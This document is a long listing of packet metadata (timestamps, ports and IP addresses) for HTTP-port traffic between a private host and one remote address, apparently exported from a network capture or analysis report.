Jan 14, 2022 12:30:17.484277964 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.484292030 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.485436916 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.496848106 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.496861935 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.497035980 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.497045994 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.497173071 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.497271061 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.498517036 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.499636889 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.499914885 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.500121117 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.500132084 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.500435114 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.500471115 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.500674009 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.500747919 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.501009941 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.501032114 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.501194000 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.501230955 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.501559019 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.501632929 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.501836061 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.505440950 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.505594969 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.505836964 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.505857944 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.506038904 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.506050110 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.506194115 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.507015944 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.507076025 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.507275105 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.507356882 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.507445097 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.508033037 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.508074999 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.508279085 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.508430958 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.508475065 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.508517027 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.509270906 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.509285927 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.509357929 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.514465094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.514744043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.514853001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.514941931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.515043974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.515132904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.515233994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.515324116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.515427113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.515515089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.515618086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.515707016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.515805960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.515892982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.515999079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.516108990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.516194105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.516299009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.516390085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.516489029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.516575098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.516680002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.516768932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.516870022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.516962051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.517070055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.517149925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.517257929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.517342091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.517443895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.517535925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.517640114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.517741919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.517844915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.518030882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.518147945 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.518238068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.518331051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.518429041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.518523932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.518614054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.518702984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.518796921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.518889904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.518985033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.519078016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.519260883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.519370079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.519463062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.519552946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.519642115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.519741058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.519831896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.519922018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.520014048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.520100117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.520201921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.520282984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.520391941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.520478010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.520567894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.520662069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.520749092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.520843029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.520931005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.521025896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.521114111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.521209002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.521297932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.521414042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.521506071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.521589994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.521684885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.521780014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.521863937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.521967888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.522051096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.522140026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.522231102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.522319078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.522486925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.522711039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.522806883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.522893906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.523000956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.523241997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.523401976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.523528099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.523617029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.523720980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.523844957 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.523967028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.524054050 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.524142981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.524233103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.524318933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.526050091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.526259899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.526376009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.526472092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.526561975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.526649952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.526736975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.526829958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.526916981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.552479982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.552608013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.552704096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.552798986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.552889109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.552973032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.553066015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.553153992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.553242922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.553333044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.553441048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.553530931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.553612947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.553708076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.553795099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.553885937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.553976059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.554060936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.554155111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.554240942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.554327965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.556358099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.556512117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.556601048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.556687117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.556778908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.556868076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.556956053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.557046890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.557135105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.557224035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.557313919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.557415962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.557506084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.557591915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.557682991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.557770967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.557864904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.557951927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.558038950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.558131933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.558222055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.558309078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.558408022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.558790922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.558936119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.559071064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.559207916 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.559349060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.559497118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.559602022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.564382076 CET	49924	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.568272114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.568424940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.568525076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.568613052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.568706036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.568795919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.568881035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.568974018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.569061995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.569152117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.569241047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.569325924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.569427013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.569514990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.569605112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.569690943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.569780111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.569873095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.569962025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.570053101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.570141077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.570225954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.570317030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.570492029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.570611000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.571229935 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.571382046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.571481943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.571571112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.571660995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.571752071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.571840048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.571929932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.572017908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.572104931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.572196960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.572283030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.572380066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.572468996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.572561979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.572649956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.572849035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.572983027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.573121071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.573241949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.573386908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.573484898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.573574066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.573663950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.573753119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.573844910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.573934078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.574023008 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.574117899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.574204922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.575421095 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.575462103 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.575676918 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.575779915 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.575967073 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.576159000 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.576169968 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.576179981 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.576188087 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.580288887 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.581146002 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.586472034 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.589282990 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:17.601654053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.601838112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.601978064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.602106094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.602241993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.602497101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.603059053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.603173971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.603622913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.603771925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.604002953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.604187012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.604520082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.604906082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.605165005 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.605417967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.605509043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.605597973 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.605676889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.605756044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.605843067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.605945110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.606033087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.606120110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.606204987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.606295109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.606391907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.606482029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.606566906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.606654882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.606744051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.606831074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.606921911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.607007980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.607093096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.607182980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.607268095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.607378006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.607469082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.607559919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.607645988 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.607747078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.607832909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.607916117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.608007908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.608093023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.608179092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.608269930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.608365059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.608453035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.608539104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.608630896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.608716011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.608799934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.608890057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.608977079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.609064102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.609163046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.609241962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.609328032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.609498978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.609638929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.609724998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.609807968 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.609894037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.609973907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.610064983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.610203028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:17.610622883 CET	49914	80	192.168.2.4	185.215.113.35
